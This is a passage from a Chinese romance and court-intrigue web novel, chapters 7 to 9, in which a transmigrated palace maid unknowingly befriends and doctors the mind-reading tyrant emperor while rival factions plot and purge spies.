《暴君听到了我的心声》
7. 第 7 章
苏蓁蓁是一路飘回去的。
今天牵到了crush的手。
明天就能结婚了。
苏蓁蓁回到储秀宫,她看一眼宋梨珍亮着灯的屋子,低低叹了一口气。
唉。
对于宋梨珍来说,如果苏蓁蓁不帮她假死的话,沈言辞那里还会安排其他人帮她假死。
苏蓁蓁并不认为她作为一个穿书者,知道一点剧情,就能在这部大佬云集的风暴权谋文里活着。
她只是换了一个环境和身体,又不是换了一个脑子。
暴露她提前知道剧情这件事于她来说,只会更危险。
至于她为什么不下药把那老太监药死,这是古代法治社会,又不是无法无天社会,死了个人上面肯定是要下来查的,古代的提刑官不是吃素的,这些心狠手辣的谋权者也不是吃素的。
最关键的是,她下不去手。
她会诅咒这个老太监明天就掉水坑淹死,甚至知道了他的死讯之后会兴高采烈,手舞足蹈,可她做不到自己动手。
苏蓁蓁蹲在储秀宫门口,随手拔了一株草,开始拔上面的叶子。
活。
不活。
活。
不活。
活。
不活。
苏蓁蓁将这根草杆子一折二。
活。
蓁蓁想要。
蓁蓁得到。
免费心理安慰课程结束之后,只耗费了一根草的苏蓁蓁决定先去睡觉。
说不定她大后天才死呢,她要提前熬夜猝死了不是少活两天。
前脚刚刚埋进下房的门,下一刻,储秀宫内就出现了一批人。
为首之人一袭绯色圆领袍高档太监服,一看就不是普通太监。
他手持圣旨,神色严肃的出现在储秀宫内。
下一刻,整个储秀宫的人都被喊出来接旨。
“哪位是宋梨珍宋小主?”
宋梨珍木着一张脸抬头,苏蓁蓁从她的眼神中看到绝望。
如果她没记错的话,原著剧情中有一段太后懿旨晋宋梨珍为贵人的,应该就是这段了。
如此破格赏封,可见太后对宋梨珍有多看重。
宋梨珍上前,下跪行礼。
魏恒打开圣旨宣读。
“奉天承运,皇帝诏曰:兹闻工部左侍郎宋景之女宋梨珍,娴淑端良,明诗习礼,有闺阁之贤范;征西将军周长峰,骁勇善战,忠勤报国,镇边守土屡建奇功,具将帅之英风。
今朕观二人才德相匹,姻缘天合,特赐婚于宋梨珍与周长峰,择吉时完婚。
布告天下,咸使闻知。
钦此。”
什么?赐婚圣旨?
苏蓁蓁跪在最后,神色呆滞。
不是,剧情不对啊。
这到底是怎么回事?
苏蓁蓁回到下房,躺在床铺上闭着眼睛发呆。
虽然不清楚这到底怎么了,但苏蓁蓁知道自己不会死了。
难道她就是传说中的耐死型人格?
-
一月前,周长峰那里突然断了来自宋梨珍的书信。他很急,不知道发生了什么事,便自作主张朝皇帝开口要人。
按照剧情,这封奏折会被淹没在一堆奏折里,无人在意。
其实是因为宋梨珍知道自己要进宫了,所以主动断了跟周长峰的联系。她知道自己进宫之后,便与周长峰再也没有机会继续了。
她虽爹不疼,娘早逝,但周长峰与她不同。
她知道他现在已经变成大将军了,他有大好前途,还有温馨和睦的家庭,他与她,终归是有缘无分。
等周长峰回来,看到自己的心上人变成了暴君的后宫,搁谁,谁不恨啊?自然不可能再效忠。
可皇权在上,周长峰莫可奈何。
而在这个时候,沈言辞如同天神降临一般出现了。
原本剧情是这样安排的。
可现在出现了差错。
沈言辞看着手底下送来的密报,那张素来温润玉如的面容上隐隐透出戾气。
沈言辞深吸一口气,“这是怎么回事?”
跪在地上的暗桩自然不知道这是怎么回事。
“那位陛下素来不管朝堂之事,此次突然插手,难道是察觉到了什么?”沈言辞身边坐着的孙阁老抚着胡须道:“是我疏忽了,早该将这本奏折抽出来,只是这皇帝素来不看奏折,此次也不知道是为何。”
“怎么会是老师的错,定然是我手下办事不力。”沈言辞面对孙阁老,也是将他引荐入朝堂的老师,立时变得恭谨。
孙阁老点了点头,“你精心做的这个局已经废了,不过幸好,也没让太后那里讨到什么便宜,看来此事并非太后受益,是那暴君又莫名发疯了。”
此局一是为了获得周长峰这颗棋子,二是为了让周长峰对太后与暴君怀恨。
实乃一石二鸟的好计策,真是可惜了。
孙阁老看沈言辞一眼,“听说此次损失了一批暗桩,新的送进去了吗?”
沈言辞摇头,“锦衣卫突然查得很严。”
孙阁老沉吟半响,“去问问王吉那边准备好了没有,魏恒手底下有锦衣卫,这可是一支猛虎,不能留。”
“是。”
-
昨天晚上的事还跟做梦一样。
宋梨珍高兴地跳了一夜的舞,苏蓁蓁熬不住,半夜就睡了,甚至知道不会死了之后睡得更香了。
毕竟熬夜容易猝死。
好不容易活了,她得多睡儿。
睡饱了,苏蓁蓁坐在储秀宫门口发着呆,突然听到前面传来窸窸窣窣的声音,几个小太监和小宫女聚在一起踮脚朝前望着,像是在看什么热闹。
八卦啊。
什么咖啡因和茶多酚,都不如一件八卦顶用。
苏蓁蓁立刻迫不及待走了过去。
她踮脚往那一瞧。
只见前头几个小太监正抬着一具被席子卷起来的尸体,吃力的往外抬。
从他们来的方向看,那似乎是御花园。
从御花园到这里要不少路,席子已经被水浸湿,掀起一角露出那老太监的脸。
居然是那脑血栓老太监。
死了?
双喜临门啊!
苏蓁蓁激动不已,趁着好运加身的时候立刻寻到储秀宫的小太监们偷偷玩筛子的地方,跟着玩了两把,然后把自己身上的银子都输光了。
“多谢姐姐赏钱。”
苏蓁蓁:……晦气!还是去找她的甜宝吧。
“姐姐。”其中一个小太监突然拦住她。
苏蓁蓁立刻警铃大作。
你不会也是暗桩吧?
小太监对上苏蓁蓁警惕的眼神,略微有些慌张,“姐姐,这是我今日从小主那里得的一支簪子,送给姐姐。”
“为什么送给我?”
小太监的脸色突然红了。
苏蓁蓁虽然没吃过猪肉但见过猪跑。
“拿回去吧。”
姐虽然是这种人,但你不是这块料。
-
啧。
啧啧。
啧啧啧。
真好看。
苏蓁蓁单手撑着下颚坐在小板凳上
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看着坐在自己身边的小太监。
虽然身上穿着最粗糙的下等太监服,但就是这种披着麻袋都无法掩盖的美貌才最令人沦陷。
“你知道吗?我伺候的宋小主被皇帝赐婚了,她高兴的又跳了一晚上舞,现在正补觉呢。”
“还有还有,你还记得我跟你说过的那个欺负我的老太监吗?”苏蓁蓁美滋滋道:“下地狱享福去了。”
陆和煦:……
小太监长手长腿地坐在小板凳上,单手搭在膝盖上,另外一只手懒洋洋撑着下颚,眼皮下垂,“现在有空给我煎药了吗?”
“有空。”
苏蓁蓁抬起手,自然地抓着小太监的手腕给他把脉。
【唔……没什么效果啊。】
他就说,普通的毒药对他没有用。
苏蓁蓁蹙着眉,先将晾凉的药递给小太监。
陆和煦懒洋洋喝完。
“对了,我今天给你带了这个。”
苏蓁蓁取出被她藏在小瓦罐里面的牛乳,然后将刚刚烧好的热茶冲进去。
一半牛乳,一半热茶,最后再加蜂蜜。
一杯十分甜的奶茶就做好了。
“尝尝。”
新毒药?
“很好喝的。”
乖宝宝,尝一口吧。
可怜她的宝贝瘦成这样,一定没吃过什么好东西。
这让她想起了自己的猫。
那只瘸腿猫刚来她家的时候什么都吃,猫粮、猫条、猪肝、牛肉、猪肉、鸡胸肉、大虾、罐头、三文鱼等等,甚至半夜还去翻垃圾桶偷吃她的华莱士。
后来被她养叼了,嘴巴特别挑,除了猫零食和一点点猫粮,其它碰都不碰。
苏蓁蓁怕它营养不良,多吃零食吃坏身体,便买各种小袋装猫粮试探,还煮了各种类型的新鲜肉给它吃,最后这只瘸腿猫被她烦得不行,一边假吃,一边偷看她,然后趁着她不注意,又去把零食袋子偷出来叼到床上偷吃。
苏蓁蓁下班回家一掀开被子,全部都是零食碎屑。
猫坏人好。
“对了。”
苏蓁蓁又想到什么,她放下瓦罐跑到一个角落里,扯了几片玫瑰花瓣。
金陵天气暖的快,这里的玫瑰花已经开了,还是一株可食用野生玫瑰花,只此一棵,也不知道是哪只贪吃的小鸟从这里飞过去的时候从翅膀上掉下来的小种子。
苏蓁蓁将玫瑰花瓣用泉水洗了,然后放进瓦罐里。
奶茶的颜值立刻就高了起来。
小太监终于伸出手,捧着瓦罐吃了一口。
这个瓦罐不大,大概只有苏弱水巴掌那么大小。
陆和煦喝了一口,原本漫不经心的神色骤然一变。
他微微眯起眼,又慢条斯理喝了一口。
“怎么样?”
“还行。”
苏蓁蓁看着空荡荡的陶罐,心里却是重重叹出一口气。
果然。
十分甜奶茶,正常人只会觉得很齁,可眼前的小太监却喝完了。
上次那个青杏儿的味道他不觉得算,那罐腌制过的他也不觉得甜。
说明他的味觉很弱。
正常人有七分,他看起来只有三分。
到底是经历过什么事情,才会将一个人折腾成这样?
苏蓁蓁正思考着,身边的小板凳突然往下一落。
“你要走了?”
“嗯。”
“那什么……你明天还来吗?”
“嗯。”
“还有那什么……”苏蓁蓁盯着小太监这张脸沉迷半响,“多喝热水。”
8. 第 8 章
苏蓁蓁倒在床铺上,用被子把自己盖起来,躲在被褥下的她神色颓丧。
喝喝喝!喝什么热水!
人家自己不知道多喝热水吗?
她今天表现的真差。
不过穆旦答应她明天还会见面。
哎呀,又要约会了呢。
苏蓁蓁下意识摸了摸自己的脸蛋。
光滑细腻略微有些干燥。
没办法,南方的冬天就是很干燥的。
搞点润肤霜抹一抹。
宫女的润肤霜是宫里派发的,用起来油腻至极又有一股奇怪的味道。
苏蓁蓁用了几次就不用了,她将今日摘的玫瑰取出来,然后又掏出上次买的一点猪油,加入蜂蜜和玫瑰瓣,再来一点点白酒和前几日新鲜挖出来的黄芪。
先将黄芪泡酒和猪油上锅,然后加入玫瑰花。再取一份猪油混合蜂蜜静置,等分层后取上层猪油与过滤过的玫瑰黄芪猪油混合,便做成了一份天然又带着玫瑰香的润肤霜。
苏蓁蓁对着模糊的镜子给自己抹上,感觉又香又润。
镜子实在是太模糊了,苏蓁蓁伸手擦了擦,发现还不如不擦。
唉,想念现代的超清晰大镜子。
-
“陛下,您要用些什么?”
照旧没有回答。
魏恒转身准备离开的时候,身后传来声音,“热水?”
魏恒:???
“给我来盏热水。”
魏恒虽不解,但还是赶紧让人上了一盏热水。
陆和煦盯着手里的白玉茶盏,里面装着热水。
嗯,难道这新毒物要用热水才能催发?
陆和煦歪着头趴在书案上,盯着氤氲的热气看了一会,苍白纤瘦的指骨端起茶盏一饮而尽。
咳。
好烫。
“陛下!”魏恒下意识上前,然后在陆和煦三步远处止步。
陆和煦放下茶盏,口腔内还是混着一股烫意,身体却莫名舒服了一些。
古怪。
陆和煦皱眉,伸手揉了揉钝痛的额头。
外头晨光初显,魏恒立刻上前拉上帘子。
殿内陷入昏暗,只有一盏幽幽碎光。
陆和煦闭上眼,眉头依旧是蹙着的。
-
储秀宫内的一众美人包括宋梨珍都被送了回去,苏蓁蓁一等宫女还暂时待在储秀宫内等待内务府分配。
因此,这几日她很闲。
临近日暮,小太监才姗姗来迟。
“今天吃小火锅。”
苏蓁蓁蹲在小炉子边,身边用洗干净的陶瓷碗放了很多野生蔬菜,另外一个碟子里放了一些新鲜野生菌菇。
今天苏蓁蓁煮的是菌菇汤底。
小南宫这地界实在是太好了,她在一处阴潮湿地找到了很多能吃的菌菇,当然也有很多不能吃的。
将能吃的筛选出来后,苏蓁蓁就组成了这锅菌汤。
“汤热了。”
苏蓁蓁打开盐罐子,从里面取出一小块盐放进穆旦碗里,然后递给他。
陆和煦懒洋洋地抬手接过,喝一口。
咸味,鲜味混合在一起。
他已经很久没尝到这种味道了。
不过他可不是过来吃东西的。
“药呢?”
他是来喝药的。
“上次的药好像不是很管用。”说着话,苏蓁蓁进入职业状态,她抬起手,自然地抓着小太监的手腕给他把脉。
【唔……脉象依旧很乱。】
【不过比之前好多了。】
陆和煦皱眉。
苏蓁蓁专心询问,“你从前可吃过什么药?我好对症下药。”
他从前吃的药比他吃的饭都多。
陆和煦发现不对。
他抽回手。
这几日里,他的睡眠时间增加了。
他不间断的头疼也开始缓慢好转。
就连时常麻木阴冷的四肢也变得灵活不少。
这暗桩似乎真的在给他治病。
难道她真不知道他的身份。
小太监突然朝她凑过来,一只冷白的手掐住她的脸,“我是谁?”
苏蓁蓁眼前被美人占据,她下意识咽了咽口水,“穆旦。”
【你是我的小呀小宝贝~】
陆和煦:……
陆和煦确定,这暗桩不是装的,她真不知道自己的真实身份。
一个暗桩,居然能蠢成这样。
陆和煦看向苏蓁蓁的视线变得有些复杂,随后,他像是想到什么,脸上突然挂上笑。
有意思,更有意思了。
若是她知道了自己的身份,会怎么样呢?
会真的杀了他吗?
陆和煦的眸中浸出兴味。
真令人期待啊。
“吃点腌萝卜吗?”苏蓁蓁挑了一颗腌萝卜放进小太监碗里。
陆和煦低头,嫌弃地看着这皱巴巴的腌萝卜,勉强吃一口。
“还要吗?”苏蓁蓁带了一小罐腌萝卜。
腌得咸滋滋的,萝卜却还是脆脆的。
旁边的空碗递了过来。
给你两根吧。
小锅煮得热气腾腾。
陆和煦难得用了不少。
苏蓁蓁心疼地看着自己的盐罐子。
唉,不要花穷人的钱。
美少年当前,她居然在心疼被他吃掉的盐。
“你在哪里当值?”
吃饱喝足,苏蓁蓁坐在小木凳上跟穆旦聊天。
宝贝火锅热炕头。
陆和煦只认识一个太监。
“魏恒手下。”
“魏恒?暴君身边那个秉笔太监魏恒!”
苏蓁蓁没忍住,压着声音叫了出来。
陆和煦微微偏头朝她看一眼,他单手托腮,身下的小板凳随着他晃动的动作发出“啪啪啪”的声音。
苏蓁蓁被他盯得莫名有点发怵。
“暴君啊,真是个坏蛋。”直到小太监慢悠悠吐出这句话。
苏蓁蓁下意识松了一口气,点头附和,“嘘,不讲不讲。”
不过苏蓁蓁还真没看出来。
穆旦还是个隐藏阉二代啊。
毕竟第一次见面的时候,穆旦身上穿着最低等的太监服,后来再次见面,他身上又到处都是伤。看起来一副吃也吃不饱,饿也饿不死,却也半死不活的状态。
“魏恒是你干爹?”
像这种无根的太监为了年纪大了不中用了有人能伺候,会认很多干儿子,包括但不限于小太监、侍卫,甚至有些位高权重的还会认一些朝廷命官当干儿子。
“不是。”
苏蓁蓁懂了,穆旦的意思是,他大概是魏恒那一脉的。
现如今太监有两派,一脉是魏恒为首的司礼监,另外一脉是以太后身边那位王公公为首的大内。
可其实,这位王公公是男主沈言辞的人。
为了让王公公彻底掌握宦官权利,沈言辞设计了一套谋逆之罪套在魏恒头上。
他买通魏恒身边的小太监,制造魏恒“私藏伪玺,意图不轨”的证据。
面对人证物证,魏恒百口莫辩下被贬斥为太监中最低等的劳役净军,发配至偏远的皇家猎苑种菜,王吉为了斩草除根,暗中又派人断绝魏恒口粮,逼其活活饿死。
后续,魏恒手底下的一众小太监都被清算,无一例外。
她的小宝贝好像要死了。
苏蓁蓁如丧考妣。
陆和煦看着又突然蔫吧下来的宫女,语气不耐,“又怎么了?”
“那什么,你能不能……换个地方?就是比如说,从魏恒的手里调到王吉手里?你知道王吉吧?就是太后手底下那位……”
“为什么?”
苏蓁蓁面对美少年的质问,绞尽脑汁,“因为,他活得久。”
小太监盯着她,突兀笑了,像是想到了什么好玩的事。
他伸出手,掐住苏蓁蓁的脸蛋肉,很有心情地捏了捏,然后倾身过来,语气之中带着一抹恶趣味,“说不定他明天就死了。”
苏蓁蓁也坐在那个小板凳上。
她没有想到穆旦会一下靠那么近。
小太监的眼睫毛好长,再靠近一点都要扇到她的脸上了。
还有他的眼珠子,黑雾雾的像黑曜石一样好看。
还有鼻子,又挺又翘。
小嘴巴,薄薄的,湿润润的,细看似乎还有一点小小的唇珠。
整个人就是很好看。
苏蓁蓁下意识屏住了呼吸,脑子里只剩下一句话。
【哇哇哇哇,好近,好可爱,哇哇哇哇哇哇哇哇哇哇哇哇……】
小太监猛地一下松手,眨着小扇子一样的睫毛蹙眉,“你好吵。”
嗯?她没有说话啊。
-
苏蓁蓁回去之后躲在下房里开始数钱。
她来这里有小半年了,她这个等级的宫女月例是二两银子,听说在这里待满五年以后才能加薪,这具身体现在已经二十二岁了,已经在宫里待了七年,因此现在的月例是五两银子。
算起来的话,她还有三年就能出宫了。
她穿进来的时候应该是原身刚刚被调到奉天殿扫地,苏蓁蓁翻遍了原身的包袱,也没有寻到积蓄。
她猜测原身攒下来的那些银子可能都被她拿去打点了,才能换到奉天殿这个位置。
虽然不是很好的位置,但起码比一些更下贱的活轻松,也能离沈言辞更近一些。
想到这里,苏蓁蓁顿时恍然。
难道原身花光积蓄去奉天殿扫地,就是为了能偶遇沈言辞?
恋爱脑啊恋爱脑。
苏蓁蓁一边摇头,一边算计自己的储蓄,想着如果要给穆旦换个职位的话,需要多少银子。
也不必换个太好的,只要把他从魏恒的手底下换到王吉的手底下就行,跟着男主有肉吃嘛。像她这样的,一穿过来就站对了队伍的,虽然有时候也有生命危险,但总有个盼头。
-
自从这位皇帝继位之后,已有多年不上朝。
各个事项处理皆依赖内阁和魏恒这位秉笔太监。
因此,魏恒虽只是皇帝身边的一个太监,但亦有左右朝政的权利。
王吉虽然是大内总管,是太后身边的心腹,但他的权势却始终不及魏恒这个拿着朱砂笔的秉笔太监。
谁不想要往上爬呢。
王吉知道,太后给不了他的,他就只能自己争了。
因此,当那位孙阁老的学生寻到他的时候,他没有理由不答应。
怪就怪魏恒得罪了孙阁老。
孙阁老于朝中只手遮天,你魏恒非要对着干。
你说那军中缺粮,河南洪涝,流民四起,与你一个太监何干?太后的道观,皇帝的行宫不比这些事情更紧急?把白花花的银子散给那些刁民,不是白瞎了吗?
魏恒并非底层出身之人,相反,他是饱读诗书之辈,因受家族连累而入宫为奴,一腔文人风骨尽丧于这深宫内院之中,成为了最低贱的奴才。
他原以为自己会在那掖庭之中苟且一辈子,没曾想,一场意外,让那个他照料过的小少年成为了当朝天子。
一朝鲤鱼跃龙门,魏恒也成为了秉笔太监。
他换下粗糙的青灰色太监服,换上赤红色的高品阶服,那双因为干粗活,所以显得格外粗糙的手,终于重新握上了笔。
因为从前的一些事情,所以这位皇帝没有受到过正统教育,身体坏了,也患上了头疼的毛病,还动不动就喜欢杀人,看人时,那双阴郁的眸子似乎能将人看穿。
饶是跟了皇帝这么久的魏恒都不敢与之太过亲近。
他总觉得这位皇帝身上有个秘密。
皇帝不管事,任何事情都由魏恒决定。
魏恒顶着内阁的压力,依靠皇帝的势力慢慢培植出锦衣卫和自己的亲信,开始在朝堂内活动起来。
虽然他的势力微小,但魏恒相信,总有一日,这世道会因为这一份又一份叠加起来的微小而慢慢改变。
“陛下今日有兴致出来?”
魏恒随在陆和煦身后,看着他往太后的玄极宝殿而去。
日头马上就要出来了。<
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天际处,一层薄云压着白日,魏恒看向陆和煦背影的眼神中带着担忧。
陆和煦穿着圣人常服,魏恒躬身身子微微抬眸,发现这位小祖宗近日里似乎长高了不少。
大概有……这么一点。
魏恒偷偷比划了一下自己的小拇指一半。
还胖了一些。
突然,前头的陆和煦止步。
魏恒也跟着停步。
此处是御花园,王吉正领着太监在采摘晨露,以供太后泡茶。
王吉眼神一瞥,竟在前头廊下看到一个人影。
那人影虽身穿常服,但那常服上却绣着龙纹。
王吉上前行礼,“陛下圣安。”
陆和煦视线下移,落到那白玉瓶上,“晨露?”
“是,陛下。”
陆和煦近前一步,从王吉手中抽出白玉瓶。
他冰冷的指尖扫过王吉手指,脸上带着漫不经心的表情,眼底却透出嫌恶,显然是对王吉脑中的想法感觉到恶心,也对触碰感觉到恶心。
王吉躬身跪在那里,“这是给太后的,陛下若是想要,奴才差人给您再采,只是今日怕是要过时辰了,陛下想要得等明日了。”
魏恒站在陆和煦身后,听到王吉的话,面色微变。
“呵。”陆和煦冷笑一声,“你一个奴才,朕还得等你施恩?”
王吉立刻伏地,“奴才不敢,实在是太后娘娘急着要,奴才这才失言,请陛下恕罪。”
陆和煦歪头,看着王吉头上那顶镶嵌着宝石的金冠。
“魏恒。”
“奴才在。”魏恒上前。
“这金冠,你瞧着可好看?”
魏恒近前一步,盯着王吉的金冠细看,随后开口道:“王公公,您僭越规制了。”
王吉立刻伸手将金冠取下,“是,是奴才年纪大了,记性不好,僭越了,请陛下饶命……”
“既然王公公年纪大,记性不好,那就由锦衣卫去查查,王公公的府邸里还藏着什么好宝贝吧。”
听到此话,王吉脸色瞬间惨白。
“陛,陛下……”
陆和煦拧眉,看着马上就要冲破云层的日头,转身往寝殿去。
“陛下!陛下饶命啊,陛下!”
王吉被压在原地,发出声嘶力竭的哭喊。
魏恒疾步跟在陆和煦身后,直到寝殿的门关上,将那缕晨光拦在外面,陆和煦的脸色才稍稍好看些。
他伸手揉着额头,眼神阴鸷地看向魏恒,“蠢货,去看看你屋子里藏着什么好东西。”
魏恒神色一惊。
他躬身告退,疾步退回自己的屋子。
魏恒不像王吉在外有私宅,他平日里吃穿节省,住的地方就是宫内的值房。
魏恒爱书,值房内堆满了书册。
此刻,他伸手推开屋门,先是在窄小的屋子里转了一圈,最后将视线落到一侧书架上。
魏恒走过去,看到自己被错摆过的书籍,他抬手,轻轻取下书籍,露出后面一个四四方方的盒子。
魏恒颤抖着手将盒子拿出来,打开。
里面是一枚伪玺。
魏恒面色瞬间惨白。
他猛地一下阖上盒子,然后颤着声音将今日进过他值房的小太监全部唤了进来。
“今日只有魏源进过您的屋子。”
洒扫的小太监开口道。
魏恒颔首,差人去将魏源带了过来。
魏源是魏恒养了好几年的孩子,因为识字,聪明伶俐,所以他一直待他很好,甚至给他取了魏源这个名字。
“为什么?”魏恒低头看向魏源,眼眶通红。
魏源知道此事已经败露,他神色悲戚地看向魏恒,“干爹,我劝过您,是您自己看不清情势,陛下迟早要亡,您跟着他到底图什么?”
魏恒看着眼前的魏源,觉得自己竟有些认不清他了。
两个都是他养过的孩子。
一个成为了帝王,将他从深渊里拉出来。
一个却将他推上献祭台。
魏恒觉得,自己似乎是错过了一份情谊,幸好现在明白也不晚。
“你还有何遗愿?”
魏源看着眼前的魏恒,像是终于确定这位慈悲的父亲再也不要他了。
“干爹,干爹……我错了,我真的错了,是有人让我这么干的,是王吉,是王吉他想陷害您,干爹……”
魏恒伸出手,用力扯开魏源拽着自己衣袍的手,“你从前跟我说,你的亲人都死了,你时常哭着跟我说,想念他们的音容笑貌。现在,你也好下去与他们团聚了。”
-
锦衣卫查出王吉为了规避查抄,以城东北月牙胡同的慧慈寺作为私宅使用。日常所用器物,有黄金餐具,宝石打造的家具,出行使八抬大轿,皆为僭越。
除此之外,王吉作为大内总管,还时常以采办之名,派手下虐取军民财物,家中敛财金银万计,证据确凿,被判处凌迟。
因为此事证据确凿,所以就算太后想偏心,也实在站不住脚。
当今陛下查获如此一个大贪官,百姓们对其的印象开始改变,甚至有人说,当今陛下其实是在装疯,因为年幼羽翼未丰,所以才会纵容那些流言四起。
如今看百姓受苦,正是时候利落出刀斩杀贪官。
沈言辞坐在马车内,听着外面断断续续的议论声,脸色阴沉的吓人。
孙阁老的脸色也很难看,两人坐在逼仄的马车内,长久无言。
直到沈言辞开口道:“老师,此次是意外。”
孙阁老表情阴郁地看向沈言辞,“一次是意外,那两次呢?我们之中怕是出了内鬼。”
-
王吉被凌迟了,魏恒没死。
剧情又被改变了。
虽然不知道这到底是怎么回事,但沈言辞那边应该气疯了吧?
最近暗桩群里风声鹤唳。
听说出了内鬼,人人自危,人人自查,人人怀疑,人人谨慎。
苏蓁蓁努力回忆原著。
不记得有内鬼啊。
内鬼?谁是内鬼?
9. 第 9 章
五天的天开始暖和起来,苏蓁蓁将小南宫一角打扫出来,将自己日常用的东西安置在那里,然后她发现那边的东西越堆越多,越堆越多,都快要变成她第二个屋子了。
其实大部分都是她捡回来的破烂。
物质生活如此贫瘠的状态下,她最终也加入了捡破烂。
缺了一角的碗,少了个腿的桌,碎了一半的花瓶等等。
苏蓁蓁正蹲在地上捣鼓,身后罩过来一层淡淡的影子。
她抬头,看到站在她身后的穆旦。
你好,宝贝,搭把手。
苏蓁蓁让穆旦扶着这只瘸腿桌子,她自己从外面捡了一根树枝回来充作桌腿。
树枝有些长了,苏蓁蓁掏出小镰刀,对着一镰刀下去。
树枝衣角微脏。
陆和煦走到苏蓁蓁身边,抬手接过那柄小镰刀,直接将手腕粗的树枝砍断,然后嵌在了瘸腿桌子下面。
苏蓁蓁一脸震惊地看着这手劲。
真看不出来啊。
这手腕细得感觉她都能一手圈住了,居然能一口气直接就把这么粗的树枝砍断。
看来虚的人是她才对。
桌子勉强弄好了,苏蓁蓁将两个小板凳摆过去,然后又把缺了一角的花瓶放上去,中间插上一朵红色玫瑰花。
这玫瑰花的颜色很深,是赤色的红,深到发暗,半开半闭,带着一股含羞带怯的美感。
苏蓁蓁又端来一根蜡烛,虽然是白色的,但她实在是找不到其它颜色了。
那什么,烛光晚餐。
苏蓁蓁羞涩地坐在小板凳上,把今天自己斥巨资买的两片猪排端了出来。
十分熟猪排。
不然会有绦虫。
“王吉死了。”
苏蓁蓁:……宝贝,吃饭的时候咱们说这么炸裂的话题真的好吗?
“不讲不讲。”
大人物该操心的事情咱们瞎操什么心,抓内鬼也不会抓到他们头上,放一百个心。
苏蓁蓁给穆旦一双筷子,然后自己也拿了一双筷子。
哦,对了,还有奶茶呢。
宫女每月也有一点小福利,比如分一点茶叶之类的。
苏蓁蓁这次分到的还是普通绿茶,她做了一杯奶绿,给小太监做了十分甜的,自己做了三分甜的。
这么重口味也不是个事啊,这病还是得治啊。
苏蓁蓁提前将猪排腌制了一下,因此猪排很是入味。
旁边还放了调味料,苏蓁蓁贴心地标上了名称。
陆和煦拿起盐罐子,倒了一大捧,然后蘸着吃。
苏蓁蓁:……这病还是得看啊。
两个人吃完晚餐,苏蓁蓁对着小太监正襟危坐。
“检查身体。”
小太监神色慵懒地靠在身后的墙壁上,歪头盯着她。
“摇头,眨眼,张嘴。”
按照苏蓁蓁的指令,小太监蹙眉照做。
好可爱的冷脸萌。
一脸嫌弃可是十分听话。
好乖,放到现代都不知道要被撸多少次网贷了。
“唔……”
苏蓁蓁观察了一下,穆旦的味觉缺失应该是后天形成的,可能跟他身体里面的毒素有关系。
她得想一想改个药方再试试。
“你知道你身体里有很多毒素吗?”
陆和煦看她一眼,“嗯。”
“那你知道是谁干的吗?”
“他们已经死了。”
死了?
确实,从脉象上来看,这是一些陈年旧毒,只是不好好调理的话,长久下来会危及生命。
“你从前,是不是吃过丹药?”苏蓁蓁小心询问。
陆和煦原本慵懒的视线变得锐利起来,他盯着苏蓁蓁,脸上似笑非笑的表情也收了起来。
哦哦哦!
“不讲不讲。”
苏蓁蓁赶紧摆手。
苏蓁蓁记得原著中提到过一种太监,叫作试丹奴。
当今太后喜欢食用丹药,听说现在那位国师也是极会炼丹的。
炼出来的丹药自然不能直接给太后服用,需要人试丹。
国师便从太监和宫女里挑了一批人出来试丹药。
如此长年累月的吃大量不知道功效的丹药,运气好些的像穆旦这样能活下来,身体却垮了。
运气不好的直接死了。
唉,她提什么不好,提人家的伤心事。
唉,苏蓁蓁你又感性了。
“我们去摘樱桃。”
苏蓁蓁白日里就到了小南宫,她在泉水旁边发现一棵樱桃树,现在才四月,这樱桃树上面居然已经结果了。
早熟的樱桃也不知道能不能吃。
苏蓁蓁摘了一些洗干净,然后递给穆旦一颗。
小太监懒洋洋地靠在那里,叼着樱桃梗,歪头看她。
那颗小小的樱桃还是心形的,缀在少年唇下。
人比樱桃娇。
妈妈,她恋爱了。
-
苏蓁蓁捧着樱桃从小南宫回储秀宫后,被吴姑姑叫了过去。
吴姑姑跟她说内鬼找到了,是一个叫魏源的太监。
唉,跟谁作对不好,非要跟男主作对。
你看看,“意外落水”死了吧。
寝殿内,陆和煦一身轻松的进门,照旧蹬掉脚上的鞋袜,脱掉身上的衣物。
“陛下,虽然现在已经是五月了,但您这样不穿鞋袜走路,还是容易伤身,这地上都是金砖,用的是湖底最沉最沉的阴泥……”
“朕杀了你。”
魏恒:……
“事情办好了吗?”
“办好了,陛下。”
魏恒垂目,想起自家祖宗让办的那件事,下意识皱了皱眉。
魏恒按照指示,将自家主子与一名唤作苏蓁蓁宫女暗自交往的事情散给了一位暗桩。
现在想必那边已经得到消息了。
从小时开始,这位祖宗便从不与人交心。
后来经历了那些事情,就更是对任何人都不上心了。
他还是难得看到这位祖宗对一个人如此感兴趣。
可这份感兴趣却是……要命的。
听到魏恒的回答,陆和煦语调轻快地哼一声,然后隔着帘子看向外面。
“还有多久到子时?”
魏恒心里一惊,恭谨道:“现在子时已经过了,还要等十二个时辰。”
这位陛下素来不问时辰,浑浑噩噩每日游荡,魏恒总觉得有朝一日,他会随那月色消失在风里。
这还是这位祖宗第一次问现在是什么时辰。
昨日,明日,时间,对于陆和煦来说没有任何意义。
可现在,他却很期待明日。
明日怎么还没到?
-
以为推一个魏源出来,就能让他相信了吗?
此次之事他或许能相信是魏源所为,可上次的事呢?
呵,愚蠢。
阴暗的寝屋内,沈言辞面无表情坐在那里,他打开暗桩送过来的资料,在看到那张小像的时候脑海里闪过那张纯净至极的脸,还有那一截纤细到彷佛一折就断的脖颈。
苏蓁蓁。
沈言辞眸色暗了暗。
“那暗桩怎么说?”沈言辞的幕僚刘景行推门进来,一眼看到沈言辞阴郁的脸色,便知道此时这位主子爷情绪很不好。
“说这苏蓁蓁不知此乃天子,只以为是寻常太监,甚是喜爱,两人交往密切,每日夜间都于小南宫相谈甚欢。宋梨珍一事,估计是她泄露出去的。”
沈言辞慢条斯理敲着桌案。
果然如此。
不过……他派到那暴君身边的暗桩都被杀了,也不知那暴君为何能如此敏锐,直到如今,才只有这个苏蓁蓁能在他身侧。
难道是因为不知那暴君身份,所以才幸免于难?
对于他来说,这倒是一件好事。
外面突然传来一道杯瓷之音,沈言辞神色一动,手中匕首便已飞出。
刘景行迅速推门出去,只见门口躺着一位端着漆盘的婢女。
刘景行无声叹了一口气,“只是一个送茶的婢女,主子未免太小心了些。”
这位主子,多疑到了极致。
沈言辞面色微微浮动,眼前凄厉的幻影逐渐消失,他另外一只手还按在腰间软剑上,腕间佛珠轻荡,瞳孔震颤,“宁可错杀,不可放过。”
-
苏蓁蓁被调到了牡丹苑照料里面的牡丹。
照料牡丹这份工作可比扫地轻松多了。
只需每日清晨起身巡查牡丹状态,清理黄叶、杂草,然后浇水,松土,出现问题及时上报即可。
